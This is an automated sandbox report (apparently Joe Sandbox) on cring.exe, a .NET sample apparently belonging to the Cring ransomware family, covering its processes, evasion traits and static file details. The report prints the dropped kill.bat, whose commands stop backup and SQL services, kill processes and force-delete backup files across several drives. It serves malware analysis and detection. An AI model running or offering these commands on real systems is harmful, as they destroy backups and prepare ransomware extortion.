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Analysis Report cring.exe

Overview

General Information

Sample Name:	cring.exe
Analysis ID:	333004
MD5:	c5d712f82d5d37bb284acd4468ab3533
SHA1:	3426e8dcb104d9b01874498fb44c6e460228a9a0
SHA256:	f7d270ca0f2b4d21830787431f881cd004b2eb102cc3048c6b4d69cb775511c8
Most interesting Screenshot:

Detection

Score:	25
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Binary contains a suspicious time stamp

Contains capabilities to detect virtual machines

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Enables debug privileges

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Uses net.exe to stop services

Uses taskkill to terminate processes

Classification

Startup

System is w10x64

cring.exe (PID: 4532 cmdline: 'C:\Users\user\Desktop\cring.exe' MD5: C5D712F82D5D37BB284ACD4468AB3533)

conhost.exe (PID: 4552 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

cmd.exe (PID: 6048 cmdline: C:\Windows\system32\cmd.exe /c ''C:\Users\user\Desktop\kill.bat' 'C:\Users\user\Desktop\cring.exe'' MD5: 4E2ACF4F8A396486AB4268C94A6A245F)

conhost.exe (PID: 6052 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

net.exe (PID: 6104 cmdline: net stop BMR Boot Service /y MD5: 15534275EDAABC58159DD0F8607A71E5)

net1.exe (PID: 5556 cmdline: C:\Windows\system32\net1 stop BMR Boot Service /y MD5: AF569DE92AB6C1B9C681AF1E799F9983)

net.exe (PID: 2924 cmdline: net stop NetBackup BMR MTFTP Service /y MD5: 15534275EDAABC58159DD0F8607A71E5)

net1.exe (PID: 6960 cmdline: C:\Windows\system32\net1 stop NetBackup BMR MTFTP Service /y MD5: AF569DE92AB6C1B9C681AF1E799F9983)

sc.exe (PID: 4388 cmdline: sc config SQLTELEMETRY start= disabled MD5: D79784553A9410D15E04766AAAB77CD6)

sc.exe (PID: 4112 cmdline: sc config SQLTELEMETRY$ECWDB2 start= disabled MD5: D79784553A9410D15E04766AAAB77CD6)

sc.exe (PID: 4104 cmdline: sc config SQLWriter start= disabled MD5: D79784553A9410D15E04766AAAB77CD6)

sc.exe (PID: 6704 cmdline: sc config SstpSvc start= disabled MD5: D79784553A9410D15E04766AAAB77CD6)

taskkill.exe (PID: 6760 cmdline: taskkill /IM mspub.exe /F MD5: 530C6A6CBA137EAA7021CEF9B234E8D4)

taskkill.exe (PID: 6876 cmdline: taskkill /IM mydesktopqos.exe /F MD5: 530C6A6CBA137EAA7021CEF9B234E8D4)

taskkill.exe (PID: 6932 cmdline: taskkill /IM mydesktopservice.exe /F MD5: 530C6A6CBA137EAA7021CEF9B234E8D4)

cleanup

Malware Configuration

No configs have been found

Yara Overview

No yara matches

Sigma Overview

System Summary:

Sigma detected: Net.exe Execution

Show sources

Source: Process started

Author: Michael Haag, Mark Woan (improvements), James Pemberton / @4A616D6573 / oscd.community (improvements): Data: Command: net stop BMR Boot Service /y, CommandLine: net stop BMR Boot Service /y, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ''C:\Users\user\Desktop\kill.bat' 'C:\Users\user\Desktop\cring.exe'', ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6048, ProcessCommandLine: net stop BMR Boot Service /y, ProcessId: 6104

Signature Overview

• System Summary
• Data Obfuscation
• Boot Survival
• Hooking and other Techniques for Hiding and Protection
• Malware Analysis System Evasion
• Anti Debugging
• HIPS / PFW / Operating System Protection Evasion
• Language, Device and Operating System Detection

Click to jump to signature section

Show All Signature Results

Source: cring.exe	Binary or memory string: OriginalFilename vs cring.exe
Source: cring.exe, 00000000.00000002.324569603.0000000000F9C000.00000004.00000020.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs cring.exe
Source: cring.exe, 00000000.00000002.324729946.0000000001340000.00000002.00000001.sdmp	Binary or memory string: originalfilename vs cring.exe
Source: cring.exe, 00000000.00000002.324729946.0000000001340000.00000002.00000001.sdmp	Binary or memory string: OriginalFilenamepropsys.dll.mui@ vs cring.exe
Source: cring.exe, 00000000.00000002.324691361.00000000012E0000.00000002.00000001.sdmp	Binary or memory string: System.OriginalFileName vs cring.exe

Source: classification engine

Classification label: sus25.winEXE@28/3@0/0

Source: C:\Users\user\Desktop\cring.exe

File created: C:\Users\user\Desktop\kill.bat

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4552:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6052:120:WilError_01

Source: unknown

Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ''C:\Users\user\Desktop\kill.bat' 'C:\Users\user\Desktop\cring.exe''

Source: cring.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\cring.exe

Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\ac26e2af62f23e37e645b5e44068a025\mscorlib.ni.dll

Jump to behavior

Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "mspub.exe")
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "mydesktopqos.exe")
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "mydesktopservice.exe")

Source: C:\Users\user\Desktop\cring.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\cring.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\cring.exe 'C:\Users\user\Desktop\cring.exe'
Source: unknown	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ''C:\Users\user\Desktop\kill.bat' 'C:\Users\user\Desktop\cring.exe''
Source: unknown	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\System32\net.exe net stop BMR Boot Service /y
Source: unknown	Process created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 stop BMR Boot Service /y
Source: unknown	Process created: C:\Windows\System32\net.exe net stop NetBackup BMR MTFTP Service /y
Source: unknown	Process created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 stop NetBackup BMR MTFTP Service /y
Source: unknown	Process created: C:\Windows\System32\sc.exe sc config SQLTELEMETRY start= disabled
Source: unknown	Process created: C:\Windows\System32\sc.exe sc config SQLTELEMETRY$ECWDB2 start= disabled
Source: unknown	Process created: C:\Windows\System32\sc.exe sc config SQLWriter start= disabled
Source: unknown	Process created: C:\Windows\System32\sc.exe sc config SstpSvc start= disabled
Source: unknown	Process created: C:\Windows\System32\taskkill.exe taskkill /IM mspub.exe /F
Source: unknown	Process created: C:\Windows\System32\taskkill.exe taskkill /IM mydesktopqos.exe /F
Source: unknown	Process created: C:\Windows\System32\taskkill.exe taskkill /IM mydesktopservice.exe /F
Source: C:\Users\user\Desktop\cring.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ''C:\Users\user\Desktop\kill.bat' 'C:\Users\user\Desktop\cring.exe''	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net stop BMR Boot Service /y	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net stop NetBackup BMR MTFTP Service /y	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc config SQLTELEMETRY start= disabled	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc config SQLTELEMETRY$ECWDB2 start= disabled	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc config SQLWriter start= disabled	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc config SstpSvc start= disabled	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /IM mspub.exe /F	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /IM mydesktopqos.exe /F	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /IM mydesktopservice.exe /F	Jump to behavior
Source: C:\Windows\System32\net.exe	Process created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 stop BMR Boot Service /y	Jump to behavior
Source: C:\Windows\System32\net.exe	Process created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 stop NetBackup BMR MTFTP Service /y	Jump to behavior

Source: C:\Users\user\Desktop\cring.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{95E15D0A-66E6-93D9-C53C-76E6219D3341}\InProcServer32

Jump to behavior

Source: cring.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: cring.exe

Static PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Source: cring.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:

Binary string: C:\Users\FuckCrowStrike\Desktop\NewCring\Crypt3r\obj\Release\cring.pdb source: cring.exe

Data Obfuscation:

Binary contains a suspicious time stamp

Show sources

Source: initial sample

Static PE information: 0xA069F415 [Wed Apr 14 06:52:05 2055 UTC]

Source: unknown

Process created: C:\Windows\System32\net.exe net stop BMR Boot Service /y

Source: unknown

Process created: C:\Windows\System32\sc.exe sc config SQLTELEMETRY start= disabled

Source: C:\Users\user\Desktop\cring.exe

Registry key monitored for changes: HKEY_CURRENT_USER_Classes

Jump to behavior

Source: C:\Users\user\Desktop\cring.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cring.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cring.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cring.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cring.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cring.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cring.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cring.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cring.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cring.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cring.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cring.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cring.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Users\user\Desktop\cring.exe

File opened / queried: SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}

Jump to behavior

Source: C:\Users\user\Desktop\cring.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Users\user\Desktop\cring.exe TID: 6640

Thread sleep time: -922337203685477s >= -30000s

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: sc.exe, 00000008.00000002.330354414.0000025ACD650000.00000002.00000001.sdmp, sc.exe, 00000009.00000002.331433462.0000026F021C0000.00000002.00000001.sdmp, sc.exe, 0000000A.00000002.332589167.0000020625470000.00000002.00000001.sdmp	Binary or memory string: A Virtual Machine could not be started because Hyper-V is not installed.
Source: sc.exe, 00000008.00000002.330354414.0000025ACD650000.00000002.00000001.sdmp, sc.exe, 00000009.00000002.331433462.0000026F021C0000.00000002.00000001.sdmp, sc.exe, 0000000A.00000002.332589167.0000020625470000.00000002.00000001.sdmp	Binary or memory string: A communication protocol error has occurred between the Hyper-V Host and Guest Compute Service.
Source: sc.exe, 00000008.00000002.330354414.0000025ACD650000.00000002.00000001.sdmp, sc.exe, 00000009.00000002.331433462.0000026F021C0000.00000002.00000001.sdmp, sc.exe, 0000000A.00000002.332589167.0000020625470000.00000002.00000001.sdmp	Binary or memory string: The communication protocol version between the Hyper-V Host and Guest Compute Services is not supported.
Source: sc.exe, 00000008.00000002.330354414.0000025ACD650000.00000002.00000001.sdmp, sc.exe, 00000009.00000002.331433462.0000026F021C0000.00000002.00000001.sdmp, sc.exe, 0000000A.00000002.332589167.0000020625470000.00000002.00000001.sdmp	Binary or memory string: An unknown internal message was received by the Hyper-V Compute Service.

Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug	Jump to behavior

Source: C:\Users\user\Desktop\cring.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\cring.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ''C:\Users\user\Desktop\kill.bat' 'C:\Users\user\Desktop\cring.exe''	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net stop BMR Boot Service /y	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net stop NetBackup BMR MTFTP Service /y	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc config SQLTELEMETRY start= disabled	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc config SQLTELEMETRY$ECWDB2 start= disabled	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc config SQLWriter start= disabled	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc config SstpSvc start= disabled	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /IM mspub.exe /F	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /IM mydesktopqos.exe /F	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /IM mydesktopservice.exe /F	Jump to behavior
Source: C:\Windows\System32\net.exe	Process created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 stop BMR Boot Service /y	Jump to behavior
Source: C:\Windows\System32\net.exe	Process created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 stop NetBackup BMR MTFTP Service /y	Jump to behavior

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /IM mspub.exe /F	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /IM mydesktopqos.exe /F	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /IM mydesktopservice.exe /F	Jump to behavior

Source: C:\Users\user\Desktop\cring.exe

Queries volume information: C:\Users\user\Desktop\cring.exe VolumeInformation

Jump to behavior

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Windows Management Instrumentation1	Windows Service11	Windows Service11	Masquerading1	OS Credential Dumping	Query Registry1	Remote Services	Data from Local System	Exfiltration Over Other Network Medium	Data Obfuscation	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scripting1	Boot or Logon Initialization Scripts	Process Injection11	Virtualization/Sandbox Evasion3	LSASS Memory	Security Software Discovery11	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	Junk Data	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	Service Execution11	Logon Script (Windows)	Logon Script (Windows)	Disable or Modify Tools11	Security Account Manager	Virtualization/Sandbox Evasion3	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Steganography	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Process Injection11	NTDS	File and Directory Discovery1	Distributed Component Object Model	Input Capture	Scheduled Transfer	Protocol Impersonation	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Scripting1	LSA Secrets	System Information Discovery12	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Timestomp1	Cached Domain Credentials	System Owner/User Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

No Antivirus matches

Dropped Files

No Antivirus matches

Unpacked PE Files

No Antivirus matches

Domains

No Antivirus matches

URLs

No Antivirus matches

Domains and IPs

Contacted Domains

No contacted domains info

Contacted IPs

No contacted IP infos

General Information

Joe Sandbox Version:	31.0.0 Red Diamond
Analysis ID:	333004
Start date:	22.12.2020
Start time:	04:53:27
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 3m 55s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	cring.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	16
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	SUS
Classification:	sus25.winEXE@28/3@0/0
EGA Information:	Failed
HDC Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 2 Number of non-executed functions: 0
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .exe Stop behavior analysis, all processes terminated
Warnings:	Show All Exclude process from analysis (whitelisted): taskhostw.exe Execution Graph export aborted for target cring.exe, PID 4532 because it is empty Report size getting too big, too many NtOpenKeyEx calls found. Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

No simulations

Joe Sandbox View / Context

IPs

No context

Domains

No context

ASN

No context

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\cring.exe.log Download File
Process:	C:\Users\user\Desktop\cring.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	226
Entropy (8bit):	5.354940450065058
Encrypted:	false
SSDEEP:	6:Q3La/xw5DLIP12MUAvvR+uTL2wlAsDZiIv:Q3La/KDLI4MWuPTxAIv
MD5:	B10E37251C5B495643F331DB2EEC3394
SHA1:	25A5FFE4C2554C2B9A7C2794C9FE215998871193
SHA-256:	8A6B926C70F8DCFD915D68F167A1243B9DF7B9F642304F570CE584832D12102D
SHA-512:	296BC182515900934AA96E996FC48B565B7857801A07FEFA0D3D1E0C165981B266B084E344DB5B53041D1171F9C6708B4EE0D444906391C4FC073BCC23B92C37
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\10a17139182a9efd561f01fada9688a5\System.ni.dll",0..

C:\Users\user\Desktop\kill.bat Download File
Process:	C:\Users\user\Desktop\cring.exe
File Type:	DOS batch file, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1407
Entropy (8bit):	3.9310668675465905
Encrypted:	false
SSDEEP:	24:HCRrUAHTdTWp3dTnp3d9up3dtpwOUu5u37MNwu8RtfmVv+9gCW15z+:HErUaRsVpz0hwOUu5u3vu83fAlr1Q
MD5:	FE0CCC3A60E1A5B27C055EC36E62E9E0
SHA1:	FE0251B0CAC8D8DA0C75B093BEFB313D304A5B95
SHA-256:	AF01C5FC9899EADB46A643C2BDB78CD848B493B802922747477959769B91EE80
SHA-512:	65668D5D6340C2477683726A81C416DA36F049A5127346CE8CD2479A59EC39D8EA8245C8D2FE17C66AADA8AE639177C83F091385082ACFCA1519B5AF30968621
Malicious:	false
Preview:	@echo off.. .. .. net stop BMR Boot Service /y.. net stop NetBackup BMR MTFTP Service /y.. sc config SQLTELEMETRY start= disabled.. sc config SQLTELEMETRY$ECWDB2 start= disabled.. sc config SQLWriter start= disabled.. sc config SstpSvc start= disabled.. taskkill /IM mspub.exe /F.. taskkill /IM mydesktopqos.exe /F.. taskkill /IM mydesktopservice.exe /F.. .. del /s /f /q d:\.VHD d:\.bac d:\.bak d:\.wbcat d:\.bkf d:\Backup.* d:\backup. d:\.set d:\.win d:\.dsk.. del /s /f /q e:\.VHD e:\.bac e:\.bak e:\.wbcat e:\.bkf e:\Backup. e:\backup. e:\.set e:\.win e:\.dsk.. del /s /f /q f:\.VHD f

\Device\ConDrv Download File
Process:	C:\Users\user\Desktop\cring.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	14
Entropy (8bit):	3.521640636343319
Encrypted:	false
SSDEEP:	3:Bj7My:B0y
MD5:	0D291FB1774588659C8389B058754887
SHA1:	33D0C2CECAE7E2659D0426BDB35BF927A6AB9C9D
SHA-256:	CE2FD7FA913EC9C5083157E545BA4B0B94F9C417D9E9C774CB639F15B32FB7B8
SHA-512:	4C1C0A91930C215C8F729BE25BBA5D39A4B52BD0CD569518CA83BA97F8BA579C336CA474C62D57247D0C6F309E0B3E2F9A644F21B67623920F7972F1D48EC97F
Malicious:	false
Preview:	donot cry :)..

Static File Info

General
File type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	4.816661034131266
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.83% Win32 Executable (generic) a (10002005/4) 49.78% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01%
File name:	cring.exe
File size:	17408
MD5:	c5d712f82d5d37bb284acd4468ab3533
SHA1:	3426e8dcb104d9b01874498fb44c6e460228a9a0
SHA256:	f7d270ca0f2b4d21830787431f881cd004b2eb102cc3048c6b4d69cb775511c8
SHA512:	be69319e023ccd23557edc3178a3b6775a771927a0e6d34f409b8d26cbe09fb27ff4bf92abdb0c344100404029b4e3f38963a0c27bd7a4ae35e5de2e779c6649
SSDEEP:	384:asgE0J/RBKbpdqPnrjBCokjvPGumOiZ81eAl6CjUj:asgEMJwbK/X8AAl6Lj
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....i..........."...0..:...........Y... ...`....@.. ....................................@................................

File Icon


Icon Hash:	00828e8e8686b000

Static PE Info

General
Entrypoint:	0x4059c2
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows cui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT
Time Stamp:	0xA069F415 [Wed Apr 14 06:52:05 2055 UTC]
TLS Callbacks:
CLR (.Net) Version:	v4.0.30319
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
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Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x596f	0x4f	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x6000	0x594	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x8000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x58d8	0x38	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x39c8	0x3a00	False	0.450969827586	data	5.02617878935	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.rsrc	0x6000	0x594	0x600	False	0.409505208333	data	4.01898559948	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x8000	0xc	0x200	False	0.044921875	data	0.0815394123432	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
RT_VERSION	0x6090	0x304	data
RT_MANIFEST	0x63a4	0x1ea	XML 1.0 document, UTF-8 Unicode (with BOM) text, with CRLF line terminators

Imports

DLL	Import
mscoree.dll	_CorExeMain

Version Infos

Description	Data
Translation	0x0000 0x04b0
LegalCopyright	Copyright 2020
Assembly Version	1.0.0.0
InternalName	cring.exe
FileVersion	1.0.0.0
CompanyName
LegalTrademarks
Comments
ProductName	Crypt3r
ProductVersion	1.0.0.0
FileDescription	Crypt3r
OriginalFilename	cring.exe

Network Behavior

No network behavior found

Code Manipulations

Statistics

CPU Usage

• cring.exe
• conhost.exe
• cmd.exe
• conhost.exe
• net.exe
• net1.exe
• net.exe
• net1.exe
• sc.exe
• sc.exe
• sc.exe
• sc.exe
• taskkill.exe
• taskkill.exe
• taskkill.exe

Click to jump to process

Memory Usage

• cring.exe
• conhost.exe
• cmd.exe
• conhost.exe
• net.exe
• net1.exe
• net.exe
• net1.exe
• sc.exe
• sc.exe
• sc.exe
• sc.exe
• taskkill.exe
• taskkill.exe
• taskkill.exe

Click to jump to process

High Level Behavior Distribution

• File
• Registry

Click to dive into process behavior distribution

Behavior

• cring.exe
• conhost.exe
• cmd.exe
• conhost.exe
• net.exe
• net1.exe
• net.exe
• net1.exe
• sc.exe
• sc.exe
• sc.exe
• sc.exe
• taskkill.exe
• taskkill.exe
• taskkill.exe

Click to jump to process

System Behavior

Analysis Process: cring.exe PID: 4532 Parent PID: 5828

Function Logs

General

Start time:	04:54:13
Start date:	22/12/2020
Path:	C:\Users\user\Desktop\cring.exe
Wow64 process (32bit):	false
Commandline:	'C:\Users\user\Desktop\cring.exe'
Imagebase:	0xa40000
File size:	17408 bytes
MD5 hash:	C5D712F82D5D37BB284ACD4468AB3533
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Reputation:	low

Start time:	04:54:15
Start date:	22/12/2020
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
